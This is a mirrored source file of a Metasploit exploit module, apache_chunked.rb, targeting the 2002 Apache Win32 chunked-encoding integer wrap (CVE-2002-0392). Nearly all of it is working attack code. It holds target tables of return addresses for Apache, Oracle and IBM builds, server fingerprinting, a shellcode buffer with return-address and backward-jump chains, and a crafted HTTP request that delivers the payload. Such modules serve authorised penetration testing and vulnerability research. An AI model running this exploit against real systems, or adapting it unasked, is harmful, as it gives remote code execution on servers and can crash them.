Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/apache_chunked.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
HttpFingerprint = { :pattern => [ /Apache/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Win32 Chunked Encoding',
18
'Description' => %q{
19
This module exploits the chunked transfer integer wrap
20
vulnerability in Apache version 1.2.x to 1.3.24. This
21
particular module has been tested with all versions of the
22
official Win32 build between 1.3.9 and 1.3.24. Additionally,
23
it should work against most co-branded and bundled versions
24
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
25
26
You will need to use the Check() functionality to determine
27
the exact target version prior to launching the exploit. The
28
version of Apache bundled with Oracle 8.1.7 will not
29
automatically restart, so if you use the wrong target value,
30
the server will crash.
31
},
32
'Author' => [ 'hdm', 'jduck' ],
33
'References' => [
34
[ 'CVE', '2002-0392' ],
35
[ 'OSVDB', '838'],
36
[ 'BID', '5033' ]
37
],
38
'Privileged' => true,
39
'Platform' => 'win',
40
'Payload' => {
41
'Space' => 987,
42
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
43
'MinNops' => 200,
44
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
45
46
},
47
'Targets' => [
48
[ 'Windows Generic Bruteforce', {} ],
49
50
# Official Apache.org win32 builds
51
[
52
'Apache.org Build 1.3.9->1.3.19',
53
{
54
'Ret' => 0x00401151,
55
'Pad' => [6, 2, 0, 4, 1, 3, 5, 7]
56
}
57
],
58
[
59
'Apache.org Build 1.3.22->1.3.24',
60
{
61
'Ret' => 0x00401141,
62
'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
63
}
64
],
65
[
66
'Apache.org Build 1.3.19->1.3.24',
67
{
68
'Ret' => 0x6ff6548d,
69
'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
70
}
71
],
72
[
73
'Apache.org Build 1.3.22',
74
{
75
'Ret' => 0x6ff762ac,
76
'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
77
}
78
],
79
80
# Return to Win9xConHook.dll via call ebx
81
[
82
'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
83
{
84
'Ret' => 0x1c0f13e5,
85
'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
86
}
87
],
88
89
# Return to Win9xConHook.dll via call esi
90
[
91
'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
92
{
93
'Ret' => 0x1c0f1033,
94
'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]
95
}
96
],
97
98
# Interesting return to PEB trick for Windows 2003 systems...
99
[
100
'Windows 2003 English SP0',
101
{
102
'Ret' => 0x7ffc0638,
103
'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
104
}
105
],
106
107
# Pop/Pop/Return on Windows 2000
108
[
109
'Windows 2000 English',
110
{
111
'Ret' => 0x75022ac4,
112
'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]
113
}
114
],
115
116
# Oracle HTTPD: [ 8.1.7 ] (one shot)
117
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
118
# OpenSSL/0.9.5a mod_perl/1.24
119
[
120
'Oracle 8.1.7 Apache 1.3.12',
121
{
122
'Ret' => 0x1d84d42c,
123
'Pad' => [7]
124
}
125
],
126
127
# Oracle HTTPD: [ 9.1.0 ] (multiple shots)
128
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
129
# OpenSSL/0.9.5a mod_perl/1.24
130
[
131
'Oracle 9.1.0 Apache 1.3.12',
132
{
133
'Ret' => 0x10016061,
134
'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
135
}
136
],
137
138
# Oracle HTTPD: [ 9.2.0 ] (multiple shots)
139
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
140
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
141
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
142
[
143
'Oracle 9.2.0 Apache 1.3.22',
144
{
145
'Ret' => 0x6ff6427a,
146
'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]
147
}
148
],
149
150
# Generic debugging targets
151
[
152
'Debugging Target',
153
{
154
'Ret' => 0xcafebabe,
155
'Pad' => [0, 1, 2, 3, 4, 5, 6, 7]
156
}
157
]
158
],
159
'DisclosureDate' => '2002-06-19',
160
'DefaultTarget' => 0,
161
'Notes' => {
162
'Reliability' => UNKNOWN_RELIABILITY,
163
'Stability' => UNKNOWN_STABILITY,
164
'SideEffects' => UNKNOWN_SIDE_EFFECTS
165
}
166
)
167
)
168
end
169
170
def check
171
response = send_request_raw({ 'uri' => '/' }, 5)
172
if response.nil?
173
vprint_status("No response to request")
174
return Exploit::CheckCode::Unknown
175
end
176
177
http_fingerprint({ :response => response }) # Custom Server header matching
178
179
code = Exploit::CheckCode::Appears
180
181
case response['Server']
182
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
183
vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
184
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
185
vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
186
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
187
vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
188
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
189
vprint_status("IBM backported the patch, this system is not vulnerable")
190
code = Exploit::CheckCode::Safe
191
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
192
else
193
code = Exploit::CheckCode::Safe
194
end
195
196
vprint_status("Server: #{response['Server']}")
197
198
return code
199
end
200
201
def auto_target
202
response = send_request_raw({ 'uri' => '/' }, 5)
203
if response.nil?
204
print_error("No response to request")
205
return targets_to_try
206
end
207
208
http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection
209
210
targets_to_try = []
211
server_hdr = response['Server']
212
print_status("Server: #{server_hdr}")
213
214
case server_hdr
215
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
216
targets_to_try.push(targets[9])
217
218
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
219
targets_to_try.push(targets[10])
220
221
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
222
targets_to_try.push(targets[11])
223
224
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
225
# fall through
226
227
else
228
# check for apache version ranges
229
if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
230
version = $1
231
232
# print_status("Apache version: #{version}")
233
ver = version.split('.')
234
if (ver.length == 3)
235
major = ver[0].to_i
236
minor = ver[1].to_i
237
rev = ver[2].to_i
238
if (major == 1 and minor == 3)
239
targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
240
targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
241
targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
242
targets_to_try.push(targets[4]) if (rev == 22)
243
244
# Add the remaining targets, regardless of quality...
245
if (server_hdr =~ /Win32/)
246
# targets 4, 5, 6, 7
247
if (rev >= 17 and rev <= 24)
248
targets_to_try.push(targets[5])
249
targets_to_try.push(targets[6])
250
end
251
targets_to_try.push(targets[7])
252
targets_to_try.push(targets[8])
253
end
254
end
255
# Version 1.0 - 1.2, Fall through...
256
end
257
# ServerTokens setting isn't giving up enough information ... Might need to try?
258
end
259
# Not Apache? Fall through...
260
end
261
262
targets_to_try
263
end
264
265
#
266
# If auto, ask the auto_target function for a list of
267
# targets to try...
268
#
269
# If not auto, just try the selected target.
270
#
271
def exploit
272
if target_index == 0
273
targs = auto_target
274
print_status("Auto-targeting returned #{targs.length} candidates...")
275
targs.each_with_index { |targ, idx|
276
# Never try the debug target automatically :)
277
next if targ.name =~ /Debug/
278
279
exploit_target(targ)
280
}
281
else
282
exploit_target(target)
283
end
284
end
285
286
def exploit_target(target)
287
target['Pad'].each { |pad|
288
pattern =
289
rand_text_alphanumeric(3936) +
290
payload.encoded +
291
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
292
rand_text_alphanumeric(pad)
293
294
# Move slightly further back to allow padding changes
295
pattern +=
296
"\xeb\xf0\xde\xad" +
297
[target.ret].pack('V')
298
299
# Create a chain of return addresses and reverse jumps
300
254.times { |x|
301
pattern +=
302
"\xeb\xf6\xbe\xef" +
303
[target.ret].pack('V')
304
}
305
306
# Even out the request length based on the padding value
307
# This is required to reliably hit the return address offset
308
pattern += rand_text_alphanumeric(8 - pad)
309
310
#
311
# Regardless of what return we hit, execution jumps backwards to the shellcode:
312
# _______________ _______________ ___________
313
# _________ _____________ | ________ | | ______ | | ______
314
# v | v | v v | | v v | | v v |
315
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
316
#
317
318
print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
319
320
# Build the request
321
send_request_raw({
322
'uri' => '/',
323
'headers' =>
324
{
325
'Transfer-Encoding' => "CHUNKED"
326
},
327
'data' => "FFFFFFF0 " + pattern,
328
}, 2)
329
330
# Check the handler
331
handler
332
}
333
end
334
end
335
336